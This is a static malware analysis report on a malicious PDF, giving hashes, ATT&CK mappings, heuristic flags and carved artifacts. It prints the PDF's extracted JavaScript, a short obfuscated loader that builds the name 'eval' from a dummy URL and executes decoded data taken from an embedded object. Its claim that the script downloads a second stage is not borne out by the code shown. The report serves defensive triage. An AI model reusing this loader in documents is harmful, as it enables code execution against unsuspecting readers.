Malicious PDF — malware analysis report

Static analysis result for SHA-256 630aaed6c4f8815c…

MALICIOUS

PDF

5.1 KB First seen: 2013-08-03
MD5: 3c169880bd014e084bf7e4671729cd3a SHA-1: 465b2c0dde8585baf801d1a07e5b98ca917ba023 SHA-256: 630aaed6c4f8815c336d72ed824f3bae6fd93b558ed8baf9aa07035b5cb88f49
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The PDF contains a malformed JavaScript stream, flagged by heuristics as a potential exploit. The JavaScript attempts to reconstruct a URL, 'http://eval/query?a=exemple&b=2', and then calls a function derived from the host part of that URL, passing it data extracted from an embedded object named 'clown'. This strongly suggests the script is designed to download and execute a second-stage payload. The ML classifier's high confidence further supports this assessment.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x425 108545 bytes
SHA-256: e5a250d2e53193c1f7bde25a7b03a0a2949f43b6d1c7d95d5c047d0420744471
Detection
ClamAV: No threats found
Obfuscation or payload: likely
256 of 256 identifiers look randomly generated (e.g. 'qBKpoMpsk2NGCGD31qBKpoMpsk2NGCGD32qBKpoM') — consistent with name-mangling obfuscation. Carved artifact contains 97 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1ED 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);